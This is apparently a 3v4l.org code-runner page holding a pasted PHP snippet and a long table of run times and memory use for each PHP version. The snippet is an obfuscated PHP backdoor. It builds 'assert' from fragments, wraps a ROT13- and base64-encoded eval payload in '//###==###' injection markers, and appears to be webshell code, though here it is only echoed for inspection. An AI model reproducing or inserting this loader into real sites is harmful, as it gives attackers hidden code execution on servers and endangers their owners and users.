3v4l.org

run code in 300+ PHP versions simultaneously
<?php //###==### error_reporting(0); $strings = "as";$strings .= "sert"; $strings = str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUgcMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFyxnJHbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXGgcMvtunKAmMKDbWTAsJlWVISEDK0SQD0IDIS9QFRSFH0IHVy0cXKgcMvujpzIaK21uqTAbXPVuYvS1VvkznJkyK2qyqS9wo250MJ50pltxK1ASHyMSHyfvH0AFFIOHK0MWGRIBDH1SVy0cXFy7WTZjCFWIIRLgBPV7sJIfp2I7WTZjCFW3nJ5xo3qmYGRlAGRvB319MJkmMKfxLmN9WTAsJlWVISEDK0SQD0IDIS9QFRSFH0IHVy07sJyzXTM1ozA0nJ9hK2I4nKA0pltvL3IloS9cozy0VvxcrlEwZG1wqKWfK2yhnKDbVzu0qUN6Yl9crTAipzHhpaHiM2I0YaObpQ9xCFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqXF4vWaH9Vv51pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXF4vWzZ9Vv4xLmNhVvMcCGRznKN9Vv4xK1ASHyMSHyfvHxIAG1ESK0SRESVvKF4vWzt9Vv5gMQHbVzHkZQLmZQH3AGRkBGWzMQLjZGL0A2IzLwL1ATH4AQx0Vv4xK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKF4xK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0hWTZjYvVkVvxcB2A1pzksp2I0o3O0XPEwZFj0ZvkzLJkmMFx7L3IloS9mMKEipUDbWTZkYQR5BGRmYUElqJHcBlEcLaLtCFNtL3IloS9yrTIwXPEwZFx7L3IloS9woT9mMFtxLmRcB31yoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvx9CGRcrlEcLaLtCFOznJkyK2qyqS9wo250MJ50pltvnUE0pQbiY2y4L29lMF5lqF9aMKDhpTujC2D9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyASHyMSHy9BDH1SVy0hWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0cYvVzqG0vYaIloTIhL29xMFtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cYvVzLm0vYvEwZP4vWzx9ZFMcpQ0vYvEsH0IFIxIFJlWFEH1CIRIsDHERHvWqYvVznQ0vYz1xAFtvMGRjAwZjAGp1ZGR5ZzMxAwNkAwD3MJMvAwH0MGt0BGDvYvEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqYvEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKF4xLmNhVwRvXFx7sFOcMvNbnKAmMKDbWTyvqvxcVUftMJAbolNxnJW2BlO9VTyzXTymp2I0XPEsHxIEIHIGISfvpPWqXFNzWvNxK1WSHIISH1EoVaNvKFN9CFNvAwZ0ZGOvLGHvXFO7VROup3AypaDbWS9FEISIEIAHJlWwVy0cBlO9sD=="));'); echo $strings; //###==### ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.80.0090.00018.30
8.3.70.0130.00616.63
8.3.60.0140.00418.43
8.3.50.0120.00721.30
8.3.40.0150.00018.62
8.3.30.0100.00318.70
8.3.20.0050.00220.34
8.3.10.0070.00023.60
8.3.00.0050.00322.43
8.2.200.0030.00718.54
8.2.190.0000.01516.88
8.2.180.0140.00718.17
8.2.170.0060.00922.96
8.2.160.0070.00720.43
8.2.150.0040.00424.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0060.00317.59
8.2.110.0110.00021.07
8.2.100.0070.00418.03
8.2.90.0000.00819.25
8.2.80.0040.00417.97
8.2.70.0000.00817.63
8.2.60.0060.00317.93
8.2.50.0040.00418.07
8.2.40.0000.00818.04
8.2.30.0000.00718.06
8.2.20.0080.00017.76
8.2.10.0040.00418.04
8.2.00.0060.00318.19
8.1.290.0060.00630.84
8.1.280.0070.00725.92
8.1.270.0080.00020.43
8.1.260.0080.00026.35
8.1.250.0050.00328.09
8.1.240.0100.00722.62
8.1.230.0090.00317.82
8.1.220.0080.00017.78
8.1.210.0030.00618.77
8.1.200.0030.00617.23
8.1.190.0050.00317.10
8.1.180.0050.00318.10
8.1.170.0000.00818.55
8.1.160.0080.00318.89
8.1.150.0030.00318.84
8.1.140.0000.00817.31
8.1.130.0030.00317.60
8.1.120.0000.00717.45
8.1.110.0080.00017.44
8.1.100.0000.00717.43
8.1.90.0040.00417.27
8.1.80.0030.00517.39
8.1.70.0040.00417.43
8.1.60.0030.00617.49
8.1.50.0040.00417.38
8.1.40.0050.00317.36
8.1.30.0060.00617.61
8.1.20.0000.00817.67
8.1.10.0050.00317.50
8.1.00.0040.00417.49
8.0.300.0040.00418.77
8.0.290.0030.00616.75
8.0.280.0000.00718.49
8.0.270.0030.00316.75
8.0.260.0000.00617.32
8.0.250.0030.00316.92
8.0.240.0000.00616.99
8.0.230.0030.00316.84
8.0.220.0030.00316.82
8.0.210.0030.00316.74
8.0.200.0030.00316.79
8.0.190.0050.00316.95
8.0.180.0040.00416.82
8.0.170.0050.00316.87
8.0.160.0000.00816.87
8.0.150.0040.00416.76
8.0.140.0050.00216.86
8.0.130.0000.00713.20
8.0.120.0030.00616.82
8.0.110.0080.00016.88
8.0.100.0070.00016.85
8.0.90.0020.00516.83
8.0.80.0110.01116.85
8.0.70.0000.00716.88
8.0.60.0000.00716.80
8.0.50.0070.00016.73
8.0.30.0120.00616.96
8.0.20.0130.00817.40
8.0.10.0000.00716.83
8.0.00.0120.00716.60
7.4.330.0050.00015.08
7.4.320.0030.00316.44
7.4.300.0000.00616.54
7.4.290.0060.00316.41
7.4.280.0050.00316.54
7.4.270.0080.00016.32
7.4.260.0030.00316.34
7.4.250.0090.00016.51
7.4.240.0050.00216.46
7.4.230.0030.00616.45
7.4.220.0000.02016.54
7.4.210.0100.00316.52
7.4.200.0030.00316.65
7.4.160.0090.01216.43
7.4.150.0080.00917.40
7.4.140.0070.01217.86
7.4.130.0110.00716.46
7.4.120.0060.01116.52
7.4.110.0130.01016.49
7.4.100.0120.00616.58
7.4.90.0140.00316.52
7.4.80.0040.01419.39
7.4.70.0060.00916.43
7.4.60.0110.00416.40
7.4.50.0000.00516.35
7.4.40.0100.00616.36
7.4.30.0100.00716.57
7.4.00.0000.01814.79
7.3.330.0030.00312.96
7.3.320.0000.00513.20
7.3.310.0000.00816.35
7.3.300.0050.00316.11
7.3.290.0070.00916.21
7.3.280.0150.00416.21
7.3.270.0090.01417.40
7.3.260.0070.01016.55
7.3.250.0110.01116.30
7.3.240.0090.00916.16
7.3.230.0100.00716.39
7.3.210.0160.00616.41
7.3.200.0160.00319.39
7.3.190.0160.00016.19
7.3.180.0060.00916.29
7.3.170.0030.01316.27
7.3.160.0100.00616.29
7.3.10.0040.00816.75
7.3.00.0030.01016.29
7.2.330.0100.01316.58
7.2.320.0090.00916.70
7.2.310.0030.01416.39
7.2.300.0030.01316.36
7.2.290.0030.01416.56
7.2.130.0030.01016.95
7.2.120.0090.00316.73
7.2.110.0060.00316.88
7.2.100.0030.01216.91
7.2.90.0060.00917.02
7.2.80.0040.00716.67
7.2.70.0060.00616.73
7.2.60.0070.00416.63
7.2.50.0000.01116.77
7.2.40.0090.00616.91
7.2.30.0060.00316.72
7.2.20.0050.00516.79
7.2.10.0060.00616.73
7.2.00.0050.00718.02
7.1.250.0080.00415.75
7.1.200.0040.01115.71
7.1.100.0040.00417.80
7.1.70.0040.00417.06
7.1.60.0130.01016.87
7.1.50.0040.01816.91
7.1.00.0100.07022.34
7.0.200.0090.01216.47
7.0.60.0070.08319.96
7.0.50.0070.07717.94
7.0.40.0100.08720.08
7.0.30.0370.04720.17
7.0.20.0230.03320.18
7.0.10.0130.08020.20
7.0.00.0030.05719.99
5.6.280.0030.06021.13
5.6.210.0170.08020.76
5.6.200.0130.07718.14
5.6.190.0030.04720.37
5.6.180.0270.05320.57
5.6.170.0170.04020.51
5.6.160.0100.08020.37
5.6.150.0030.07718.22
5.6.140.0070.05318.18
5.6.130.0030.08018.20
5.6.120.0100.07021.00
5.6.110.0100.08721.13
5.6.100.0130.08021.13
5.6.90.0070.09021.11
5.6.80.0100.07720.52
5.6.70.4400.04720.34
5.5.350.0100.03320.43
5.5.340.0100.07317.99
5.5.330.0070.07720.40
5.5.320.0270.03320.22
5.5.310.0200.06320.19
5.5.300.0100.07718.00
5.5.290.0030.04017.91
5.5.280.0030.04320.80
5.5.270.0200.07320.95
5.5.260.0100.07720.84
5.5.250.0030.09020.71
5.5.240.0230.06020.26
5.4.450.0770.06019.39
5.4.440.0570.06719.54
5.4.430.0830.04719.31
5.4.420.0830.05019.47
5.4.410.0700.06319.09
5.4.400.0670.06018.79
5.4.390.0700.06319.14
5.4.380.0830.05019.30
5.4.370.0830.04719.14
5.4.360.0800.06319.23
5.4.350.0800.05019.31
5.4.340.0770.06718.90
5.4.320.0830.05319.25
5.4.310.0730.06019.15
5.4.300.0830.05319.06
5.4.290.0770.05319.30
5.4.280.0770.05319.32
5.4.270.0800.05019.16
5.4.260.0830.04719.05
5.4.250.0770.05718.75
5.4.240.0870.04719.24
5.4.230.0800.05019.18
5.4.220.0800.04718.93
5.4.210.0800.05319.01
5.4.200.0730.05316.55
5.4.190.0770.04018.97
5.4.180.0630.05319.15
5.4.170.0670.05019.04
5.4.160.0630.05018.85
5.4.150.0670.05019.11
5.4.140.0600.05316.27
5.4.130.0670.04316.09
5.4.120.0600.05716.34
5.4.110.0700.04316.26
5.4.100.0600.05316.09
5.4.90.0630.05016.43
5.4.80.0770.05016.11
5.4.70.0770.05016.11
5.4.60.0300.06716.38
5.4.50.0000.07016.49
5.4.40.0270.06716.40
5.4.30.0300.05716.43
5.4.20.0170.03716.38

preferences:
54.3 ms | 401 KiB | 5 Q